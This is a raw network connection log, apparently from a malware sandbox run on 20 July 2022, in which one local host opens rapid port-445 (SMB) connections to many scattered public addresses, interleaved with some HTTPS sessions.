Jul 20, 2022 19:07:22.484217882 CEST	50255	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:22.484258890 CEST	443	50255	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:22.497215033 CEST	50256	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:22.497289896 CEST	443	50256	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:22.542557955 CEST	445	50258	177.58.245.116	192.168.2.7
Jul 20, 2022 19:07:22.708692074 CEST	49711	80	192.168.2.7	209.197.3.8
Jul 20, 2022 19:07:22.715321064 CEST	80	49741	142.250.184.78	192.168.2.7
Jul 20, 2022 19:07:22.715408087 CEST	49741	80	192.168.2.7	142.250.184.78
Jul 20, 2022 19:07:22.723848104 CEST	445	50268	160.204.180.93	192.168.2.7
Jul 20, 2022 19:07:22.727504969 CEST	80	49711	209.197.3.8	192.168.2.7
Jul 20, 2022 19:07:22.727654934 CEST	49711	80	192.168.2.7	209.197.3.8
Jul 20, 2022 19:07:22.931080103 CEST	50273	445	192.168.2.7	97.159.26.118
Jul 20, 2022 19:07:23.021018028 CEST	50251	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:23.021061897 CEST	443	50251	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:23.117566109 CEST	50258	445	192.168.2.7	177.58.245.116
Jul 20, 2022 19:07:23.165668964 CEST	50274	445	192.168.2.7	72.83.55.63
Jul 20, 2022 19:07:23.304877043 CEST	50268	445	192.168.2.7	160.204.180.93
Jul 20, 2022 19:07:23.323479891 CEST	445	50258	177.58.245.116	192.168.2.7
Jul 20, 2022 19:07:23.422905922 CEST	50275	445	192.168.2.7	75.210.229.165
Jul 20, 2022 19:07:23.479940891 CEST	50276	445	192.168.2.7	216.110.211.203
Jul 20, 2022 19:07:23.480273008 CEST	50277	445	192.168.2.7	44.151.145.214
Jul 20, 2022 19:07:23.555555105 CEST	50278	445	192.168.2.7	8.31.90.119
Jul 20, 2022 19:07:23.572618008 CEST	50279	445	192.168.2.7	66.63.93.11
Jul 20, 2022 19:07:23.577362061 CEST	445	50268	160.204.180.93	192.168.2.7
Jul 20, 2022 19:07:23.586863995 CEST	50280	445	192.168.2.7	2.171.150.185
Jul 20, 2022 19:07:23.587424994 CEST	50281	445	192.168.2.7	182.45.237.38
Jul 20, 2022 19:07:23.587939024 CEST	50282	445	192.168.2.7	5.187.43.28
Jul 20, 2022 19:07:23.588455915 CEST	50283	445	192.168.2.7	160.212.95.59
Jul 20, 2022 19:07:23.589062929 CEST	50284	445	192.168.2.7	44.214.225.175
Jul 20, 2022 19:07:23.589477062 CEST	50285	445	192.168.2.7	62.229.75.97
Jul 20, 2022 19:07:23.590030909 CEST	50286	445	192.168.2.7	217.195.19.144
Jul 20, 2022 19:07:23.590574026 CEST	50287	445	192.168.2.7	101.215.230.240
Jul 20, 2022 19:07:23.592219114 CEST	50288	445	192.168.2.7	34.136.27.121
Jul 20, 2022 19:07:23.603204012 CEST	50289	445	192.168.2.7	8.149.231.154
Jul 20, 2022 19:07:23.755234957 CEST	50253	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:23.755265951 CEST	443	50253	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:23.790210009 CEST	80	49708	93.184.220.29	192.168.2.7
Jul 20, 2022 19:07:23.790349007 CEST	49708	80	192.168.2.7	93.184.220.29
Jul 20, 2022 19:07:23.792747021 CEST	50290	445	192.168.2.7	159.167.204.251
Jul 20, 2022 19:07:23.879360914 CEST	80	49709	93.184.220.29	192.168.2.7
Jul 20, 2022 19:07:23.879551888 CEST	49709	80	192.168.2.7	93.184.220.29
Jul 20, 2022 19:07:24.056324959 CEST	50291	445	192.168.2.7	90.166.140.220
Jul 20, 2022 19:07:24.290010929 CEST	50292	445	192.168.2.7	91.12.107.218
Jul 20, 2022 19:07:24.540143967 CEST	50293	445	192.168.2.7	165.146.175.27
Jul 20, 2022 19:07:24.604691982 CEST	50294	445	192.168.2.7	49.58.157.106
Jul 20, 2022 19:07:24.605345964 CEST	50295	445	192.168.2.7	91.223.224.8
Jul 20, 2022 19:07:24.665267944 CEST	50296	445	192.168.2.7	77.146.243.53
Jul 20, 2022 19:07:24.707124949 CEST	50297	445	192.168.2.7	23.28.99.74
Jul 20, 2022 19:07:24.713378906 CEST	50298	445	192.168.2.7	148.136.153.218
Jul 20, 2022 19:07:24.714168072 CEST	50299	445	192.168.2.7	205.138.220.5
Jul 20, 2022 19:07:24.714967966 CEST	50300	445	192.168.2.7	175.124.14.92
Jul 20, 2022 19:07:24.717575073 CEST	50301	445	192.168.2.7	27.55.21.135
Jul 20, 2022 19:07:24.717782021 CEST	50302	445	192.168.2.7	91.221.20.143
Jul 20, 2022 19:07:24.717953920 CEST	50303	445	192.168.2.7	42.32.212.212
Jul 20, 2022 19:07:24.718022108 CEST	50304	445	192.168.2.7	141.199.203.141
Jul 20, 2022 19:07:24.718103886 CEST	50305	445	192.168.2.7	132.42.205.209
Jul 20, 2022 19:07:24.718154907 CEST	50306	445	192.168.2.7	4.90.179.184
Jul 20, 2022 19:07:24.727397919 CEST	50307	445	192.168.2.7	74.6.91.106
Jul 20, 2022 19:07:24.914958000 CEST	50308	445	192.168.2.7	197.166.56.77
Jul 20, 2022 19:07:24.994131088 CEST	50309	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:07:24.994170904 CEST	443	50309	20.199.120.85	192.168.2.7
Jul 20, 2022 19:07:24.994252920 CEST	50309	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:07:24.994972944 CEST	50309	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:07:24.994983912 CEST	443	50309	20.199.120.85	192.168.2.7
Jul 20, 2022 19:07:25.086899996 CEST	443	50309	20.199.120.85	192.168.2.7
Jul 20, 2022 19:07:25.087027073 CEST	50309	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:07:25.092282057 CEST	50309	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:07:25.092318058 CEST	443	50309	20.199.120.85	192.168.2.7
Jul 20, 2022 19:07:25.092757940 CEST	443	50309	20.199.120.85	192.168.2.7
Jul 20, 2022 19:07:25.094508886 CEST	50309	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:07:25.094587088 CEST	50309	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:07:25.094605923 CEST	443	50309	20.199.120.85	192.168.2.7
Jul 20, 2022 19:07:25.094902039 CEST	50309	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:07:25.122071028 CEST	443	50309	20.199.120.85	192.168.2.7
Jul 20, 2022 19:07:25.122164965 CEST	443	50309	20.199.120.85	192.168.2.7
Jul 20, 2022 19:07:25.122229099 CEST	50309	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:07:25.122436047 CEST	50309	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:07:25.122468948 CEST	443	50309	20.199.120.85	192.168.2.7
Jul 20, 2022 19:07:25.180711031 CEST	50310	445	192.168.2.7	110.94.18.16
Jul 20, 2022 19:07:25.476449966 CEST	50311	445	192.168.2.7	26.244.177.53
Jul 20, 2022 19:07:25.701394081 CEST	50312	445	192.168.2.7	78.25.136.78
Jul 20, 2022 19:07:25.760781050 CEST	50313	445	192.168.2.7	207.127.165.176
Jul 20, 2022 19:07:25.761425972 CEST	50314	445	192.168.2.7	157.219.26.224
Jul 20, 2022 19:07:25.790287018 CEST	50315	445	192.168.2.7	120.27.251.44
Jul 20, 2022 19:07:25.815022945 CEST	50316	445	192.168.2.7	10.26.164.240
Jul 20, 2022 19:07:25.868765116 CEST	50317	445	192.168.2.7	191.163.101.174
Jul 20, 2022 19:07:25.869324923 CEST	50318	445	192.168.2.7	21.220.126.189
Jul 20, 2022 19:07:25.869854927 CEST	50319	445	192.168.2.7	138.25.153.234
Jul 20, 2022 19:07:25.870362997 CEST	50320	445	192.168.2.7	12.162.30.219
Jul 20, 2022 19:07:25.870887995 CEST	50321	445	192.168.2.7	172.111.69.103
Jul 20, 2022 19:07:25.871773005 CEST	50322	445	192.168.2.7	141.181.124.152
Jul 20, 2022 19:07:25.872349977 CEST	50323	445	192.168.2.7	121.225.129.15
Jul 20, 2022 19:07:25.872931004 CEST	50324	445	192.168.2.7	221.109.242.72
Jul 20, 2022 19:07:25.873454094 CEST	50325	445	192.168.2.7	132.169.151.116
Jul 20, 2022 19:07:25.873972893 CEST	50326	445	192.168.2.7	18.166.197.86
Jul 20, 2022 19:07:25.874526024 CEST	50327	445	192.168.2.7	139.89.59.122
Jul 20, 2022 19:07:26.040323019 CEST	50328	445	192.168.2.7	17.31.206.31
Jul 20, 2022 19:07:26.183684111 CEST	50329	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:26.183722019 CEST	443	50329	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:26.183830976 CEST	50329	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:26.185003996 CEST	50329	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:26.185019016 CEST	443	50329	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:26.284351110 CEST	443	50329	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:26.284462929 CEST	50329	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:26.288038969 CEST	50329	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:26.288058043 CEST	443	50329	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:26.288471937 CEST	443	50329	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:26.294089079 CEST	50329	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:26.294158936 CEST	50329	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:26.294171095 CEST	443	50329	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:26.294397116 CEST	50329	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:26.306268930 CEST	50330	445	192.168.2.7	6.229.51.194
Jul 20, 2022 19:07:26.323695898 CEST	443	50329	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:26.323797941 CEST	443	50329	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:26.323945999 CEST	50329	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:26.324084044 CEST	50329	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:26.324100971 CEST	443	50329	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:26.588262081 CEST	50331	445	192.168.2.7	104.116.254.74
Jul 20, 2022 19:07:26.806189060 CEST	50332	445	192.168.2.7	125.231.193.98
Jul 20, 2022 19:07:26.884980917 CEST	50334	445	192.168.2.7	44.148.160.123
Jul 20, 2022 19:07:26.885052919 CEST	50333	445	192.168.2.7	155.51.153.52
Jul 20, 2022 19:07:26.915812969 CEST	50335	445	192.168.2.7	221.96.208.252
Jul 20, 2022 19:07:26.931294918 CEST	50336	445	192.168.2.7	14.244.135.108
Jul 20, 2022 19:07:27.000427961 CEST	50337	445	192.168.2.7	101.66.43.217
Jul 20, 2022 19:07:27.000530958 CEST	50338	445	192.168.2.7	161.254.33.174
Jul 20, 2022 19:07:27.000739098 CEST	50339	445	192.168.2.7	37.161.253.235
Jul 20, 2022 19:07:27.000801086 CEST	50340	445	192.168.2.7	72.114.168.182
Jul 20, 2022 19:07:27.000917912 CEST	50342	445	192.168.2.7	155.60.7.184
Jul 20, 2022 19:07:27.000933886 CEST	50341	445	192.168.2.7	63.81.73.162
Jul 20, 2022 19:07:27.001024961 CEST	50343	445	192.168.2.7	85.63.222.38
Jul 20, 2022 19:07:27.001123905 CEST	50345	445	192.168.2.7	16.207.92.205
Jul 20, 2022 19:07:27.001132965 CEST	50344	445	192.168.2.7	66.29.98.152
Jul 20, 2022 19:07:27.001214981 CEST	50347	445	192.168.2.7	36.173.105.146
Jul 20, 2022 19:07:27.001215935 CEST	50346	445	192.168.2.7	160.18.128.40
Jul 20, 2022 19:07:27.127485991 CEST	50348	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:27.127538919 CEST	443	50348	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:27.127680063 CEST	50348	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:27.134387016 CEST	50348	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:27.134413004 CEST	443	50348	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:27.166125059 CEST	50349	445	192.168.2.7	43.41.104.161
Jul 20, 2022 19:07:27.195151091 CEST	443	50348	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:27.195272923 CEST	50348	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:27.254901886 CEST	50348	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:27.254925013 CEST	443	50348	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:27.432136059 CEST	50350	445	192.168.2.7	138.61.204.223
Jul 20, 2022 19:07:27.599566936 CEST	50348	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:27.599598885 CEST	443	50348	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:27.618887901 CEST	443	50348	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:27.618913889 CEST	443	50348	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:27.618973970 CEST	50348	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:27.618974924 CEST	443	50348	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:27.619005919 CEST	50348	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:27.619061947 CEST	50348	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:27.712407112 CEST	50351	445	192.168.2.7	7.70.229.74
Jul 20, 2022 19:07:27.843219995 CEST	50352	445	192.168.2.7	98.34.81.45
Jul 20, 2022 19:07:27.957380056 CEST	50353	445	192.168.2.7	72.168.85.124
Jul 20, 2022 19:07:28.042277098 CEST	50354	445	192.168.2.7	215.253.6.162
Jul 20, 2022 19:07:28.043245077 CEST	50355	445	192.168.2.7	120.181.56.250
Jul 20, 2022 19:07:28.072213888 CEST	50356	445	192.168.2.7	167.215.125.252
Jul 20, 2022 19:07:28.072285891 CEST	50357	445	192.168.2.7	174.149.151.25
Jul 20, 2022 19:07:28.118798971 CEST	50358	445	192.168.2.7	107.82.154.162
Jul 20, 2022 19:07:28.119450092 CEST	50359	445	192.168.2.7	86.166.246.119
Jul 20, 2022 19:07:28.120197058 CEST	50360	445	192.168.2.7	162.100.90.191
Jul 20, 2022 19:07:28.120919943 CEST	50361	445	192.168.2.7	173.105.173.114
Jul 20, 2022 19:07:28.121510029 CEST	50362	445	192.168.2.7	162.81.185.76
Jul 20, 2022 19:07:28.122154951 CEST	50363	445	192.168.2.7	114.230.49.251
Jul 20, 2022 19:07:28.122678995 CEST	50364	445	192.168.2.7	155.213.137.190
Jul 20, 2022 19:07:28.123430014 CEST	50365	445	192.168.2.7	125.229.253.107
Jul 20, 2022 19:07:28.137552023 CEST	50366	445	192.168.2.7	64.207.52.80
Jul 20, 2022 19:07:28.137700081 CEST	50367	445	192.168.2.7	2.50.230.157
Jul 20, 2022 19:07:28.137851000 CEST	50368	445	192.168.2.7	199.203.34.88
Jul 20, 2022 19:07:28.186953068 CEST	50369	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:28.186979055 CEST	443	50369	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:28.187131882 CEST	50369	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:28.188083887 CEST	50369	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:28.188107014 CEST	443	50369	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:28.281291962 CEST	443	50369	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:28.281402111 CEST	50369	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:28.284152031 CEST	50369	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:28.284168005 CEST	443	50369	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:28.284396887 CEST	443	50369	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:28.285487890 CEST	50369	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:28.285535097 CEST	50369	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:28.285542011 CEST	443	50369	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:28.285689116 CEST	50369	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:28.290245056 CEST	50370	445	192.168.2.7	148.201.185.200
Jul 20, 2022 19:07:28.316039085 CEST	443	50369	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:28.316111088 CEST	443	50369	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:28.316207886 CEST	50369	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:28.316375971 CEST	50369	443	192.168.2.7	20.199.120.151
Jul 20, 2022 19:07:28.316401958 CEST	443	50369	20.199.120.151	192.168.2.7
Jul 20, 2022 19:07:28.536900997 CEST	50371	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:28.536946058 CEST	443	50371	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:28.537036896 CEST	50371	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:28.556634903 CEST	50372	445	192.168.2.7	78.233.188.247
Jul 20, 2022 19:07:28.611380100 CEST	50371	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:28.611413956 CEST	443	50371	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:28.704370022 CEST	443	50371	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:28.704543114 CEST	50371	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:28.707060099 CEST	50371	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:28.707079887 CEST	443	50371	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:28.788724899 CEST	50348	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:28.788753033 CEST	443	50348	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:28.837574959 CEST	50373	445	192.168.2.7	112.240.233.237
Jul 20, 2022 19:07:28.856348991 CEST	50374	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:28.856404066 CEST	443	50374	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:28.856514931 CEST	50374	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:28.857089043 CEST	50374	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:28.857105017 CEST	443	50374	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:28.864173889 CEST	50371	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:28.864203930 CEST	443	50371	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:28.953802109 CEST	443	50374	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:28.954030991 CEST	50374	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:28.954982996 CEST	50374	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:28.954998970 CEST	443	50374	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:28.957417011 CEST	50374	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:28.957432985 CEST	443	50374	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:28.962585926 CEST	50375	445	192.168.2.7	196.191.100.138
Jul 20, 2022 19:07:29.060801983 CEST	443	50371	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:29.060836077 CEST	443	50371	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:29.060861111 CEST	443	50371	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:29.060921907 CEST	50371	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:29.060961008 CEST	50371	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:29.060971022 CEST	443	50371	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:29.061021090 CEST	50371	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:29.071705103 CEST	50376	445	192.168.2.7	110.8.149.230
Jul 20, 2022 19:07:29.088624954 CEST	443	50371	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:29.088799953 CEST	50371	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:29.088825941 CEST	443	50371	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:29.088845015 CEST	443	50371	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:29.088892937 CEST	50371	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:29.088929892 CEST	50371	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:29.092528105 CEST	443	50374	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:29.092571020 CEST	443	50374	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:29.092643976 CEST	443	50374	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:29.092680931 CEST	50374	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:29.092698097 CEST	50374	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:29.092703104 CEST	50374	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:29.094789028 CEST	50374	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:29.094830990 CEST	443	50374	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:29.117760897 CEST	50371	443	192.168.2.7	20.31.108.18
Jul 20, 2022 19:07:29.117794991 CEST	443	50371	20.31.108.18	192.168.2.7
Jul 20, 2022 19:07:29.165883064 CEST	50377	445	192.168.2.7	166.225.78.161
Jul 20, 2022 19:07:29.166498899 CEST	50378	445	192.168.2.7	63.209.107.82
Jul 20, 2022 19:07:29.197581053 CEST	50379	445	192.168.2.7	194.100.144.166
Jul 20, 2022 19:07:29.198167086 CEST	50380	445	192.168.2.7	25.229.160.195
Jul 20, 2022 19:07:29.245691061 CEST	50381	445	192.168.2.7	102.248.161.30
Jul 20, 2022 19:07:29.245853901 CEST	50384	445	192.168.2.7	191.22.20.77
Jul 20, 2022 19:07:29.245857954 CEST	50382	445	192.168.2.7	222.71.173.249
Jul 20, 2022 19:07:29.245862961 CEST	50383	445	192.168.2.7	10.171.73.208
Jul 20, 2022 19:07:29.245950937 CEST	50385	445	192.168.2.7	205.2.163.179
Jul 20, 2022 19:07:29.245989084 CEST	50386	445	192.168.2.7	181.213.128.63
Jul 20, 2022 19:07:29.246037960 CEST	50387	445	192.168.2.7	5.13.31.90
Jul 20, 2022 19:07:29.260313034 CEST	50388	445	192.168.2.7	20.184.184.233
Jul 20, 2022 19:07:29.261158943 CEST	50389	445	192.168.2.7	107.169.57.226
Jul 20, 2022 19:07:29.261985064 CEST	50390	445	192.168.2.7	190.56.192.211
Jul 20, 2022 19:07:29.262995958 CEST	50391	445	192.168.2.7	173.14.113.108
Jul 20, 2022 19:07:29.415646076 CEST	50392	445	192.168.2.7	49.35.66.42
Jul 20, 2022 19:07:29.614845991 CEST	445	50384	191.22.20.77	192.168.2.7
Jul 20, 2022 19:07:29.681425095 CEST	50393	445	192.168.2.7	108.84.143.249
Jul 20, 2022 19:07:29.858211994 CEST	50394	445	192.168.2.7	201.110.199.15
Jul 20, 2022 19:07:29.948277950 CEST	50395	445	192.168.2.7	16.169.221.50
Jul 20, 2022 19:07:30.084116936 CEST	50396	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:30.084175110 CEST	443	50396	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:30.084342003 CEST	50396	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:30.085197926 CEST	50396	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:30.085222960 CEST	443	50396	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:30.087676048 CEST	50397	445	192.168.2.7	145.12.88.162
Jul 20, 2022 19:07:30.133531094 CEST	50384	445	192.168.2.7	191.22.20.77
Jul 20, 2022 19:07:30.142060995 CEST	443	50396	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:30.142292976 CEST	50396	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:30.196945906 CEST	50398	445	192.168.2.7	179.215.172.7
Jul 20, 2022 19:07:30.201580048 CEST	50396	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:30.201602936 CEST	443	50396	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:30.205065966 CEST	50396	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:30.205085993 CEST	443	50396	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:30.228002071 CEST	443	50396	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:30.228038073 CEST	443	50396	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:30.228116035 CEST	443	50396	23.211.6.115	192.168.2.7
Jul 20, 2022 19:07:30.228210926 CEST	50396	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:30.228280067 CEST	50396	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:07:30.292404890 CEST	50399	445	192.168.2.7	165.72.231.6
Jul 20, 2022 19:07:30.293273926 CEST	50400	445	192.168.2.7	73.93.171.252
Jul 20, 2022 19:07:30.322266102 CEST	50401	445	192.168.2.7	111.9.188.161
Jul 20, 2022 19:07:30.322309971 CEST	50402	445	192.168.2.7	173.79.227.251
Jul 20, 2022 19:07:30.406482935 CEST	50403	445	192.168.2.7	16.29.58.53
Jul 20, 2022 19:07:30.407392979 CEST	50404	445	192.168.2.7	56.119.134.134
Jul 20, 2022 19:07:30.408227921 CEST	50405	445	192.168.2.7	61.73.50.66
Jul 20, 2022 19:07:30.408996105 CEST	50406	445	192.168.2.7	10.237.47.91
Jul 20, 2022 19:07:30.409782887 CEST	50407	445	192.168.2.7	81.54.233.113
Jul 20, 2022 19:07:30.411006927 CEST	50408	445	192.168.2.7	180.52.212.134
Jul 20, 2022 19:07:30.411833048 CEST	50409	445	192.168.2.7	75.130.141.236
Jul 20, 2022 19:07:30.412446022 CEST	50410	445	192.168.2.7	103.84.58.164
Jul 20, 2022 19:07:30.413007975 CEST	50411	445	192.168.2.7	51.147.229.72
Jul 20, 2022 19:07:30.413609982 CEST	50412	445	192.168.2.7	12.43.87.67
Jul 20, 2022 19:07:30.414184093 CEST	50413	445	192.168.2.7	77.143.2.61
Jul 20, 2022 19:07:30.448719025 CEST	445	50384	191.22.20.77	192.168.2.7
Jul 20, 2022 19:07:30.540466070 CEST	50414	445	192.168.2.7	161.142.239.140
Jul 20, 2022 19:07:30.824321985 CEST	50415	445	192.168.2.7	15.214.0.202
Jul 20, 2022 19:07:30.984920025 CEST	50416	445	192.168.2.7	152.170.10.208
Jul 20, 2022 19:07:31.071969986 CEST	50417	445	192.168.2.7	65.16.183.18
Jul 20, 2022 19:07:31.220664024 CEST	50418	445	192.168.2.7	220.193.189.239
Jul 20, 2022 19:07:31.381385088 CEST	50419	445	192.168.2.7	143.31.122.202
Jul 20, 2022 19:07:31.486083031 CEST	50420	445	192.168.2.7	138.176.216.172
Jul 20, 2022 19:07:31.486279011 CEST	50421	445	192.168.2.7	161.98.121.229
Jul 20, 2022 19:07:31.494481087 CEST	50422	445	192.168.2.7	24.174.3.237
Jul 20, 2022 19:07:31.495332003 CEST	50423	445	192.168.2.7	10.218.137.6
Jul 20, 2022 19:07:31.605851889 CEST	50424	445	192.168.2.7	222.165.201.120
Jul 20, 2022 19:07:31.614810944 CEST	50425	445	192.168.2.7	185.197.77.171
Jul 20, 2022 19:07:31.615348101 CEST	50427	445	192.168.2.7	47.16.123.53
Jul 20, 2022 19:07:31.615385056 CEST	50426	445	192.168.2.7	15.162.44.187
Jul 20, 2022 19:07:31.615541935 CEST	50429	445	192.168.2.7	76.211.104.101
Jul 20, 2022 19:07:31.615654945 CEST	50428	445	192.168.2.7	46.188.103.139
Jul 20, 2022 19:07:31.615680933 CEST	50431	445	192.168.2.7	162.118.161.47
Jul 20, 2022 19:07:31.615704060 CEST	50430	445	192.168.2.7	186.212.19.9
Jul 20, 2022 19:07:31.615777969 CEST	50432	445	192.168.2.7	197.227.131.186
Jul 20, 2022 19:07:31.615837097 CEST	50433	445	192.168.2.7	172.12.5.248
Jul 20, 2022 19:07:31.615890980 CEST	50434	445	192.168.2.7	13.14.137.108
Jul 20, 2022 19:07:31.679711103 CEST	445	50428	46.188.103.139	192.168.2.7
Jul 20, 2022 19:07:31.735374928 CEST	50435	445	192.168.2.7	11.144.51.190
Jul 20, 2022 19:07:31.969400883 CEST	50436	445	192.168.2.7	121.138.123.155
Jul 20, 2022 19:07:31.970782995 CEST	50437	445	192.168.2.7	130.196.116.154
Jul 20, 2022 19:07:32.104378939 CEST	50438	445	192.168.2.7	207.86.189.120
Jul 20, 2022 19:07:32.211170912 CEST	50439	445	192.168.2.7	111.181.120.79
Jul 20, 2022 19:07:32.258168936 CEST	50428	445	192.168.2.7	46.188.103.139
Jul 20, 2022 19:07:32.319765091 CEST	445	50428	46.188.103.139	192.168.2.7
Jul 20, 2022 19:07:32.352257967 CEST	50440	445	192.168.2.7	90.32.233.37
Jul 20, 2022 19:07:32.543742895 CEST	50441	445	192.168.2.7	190.213.248.167
Jul 20, 2022 19:07:32.605648041 CEST	50442	445	192.168.2.7	7.24.236.156
Jul 20, 2022 19:07:32.605649948 CEST	50443	445	192.168.2.7	77.220.3.73
Jul 20, 2022 19:07:32.620563030 CEST	50444	445	192.168.2.7	206.85.107.40
Jul 20, 2022 19:07:32.620615959 CEST	50445	445	192.168.2.7	158.127.7.136
Jul 20, 2022 19:07:32.723001003 CEST	50396	443	192.168.2.7	23.211.6.115
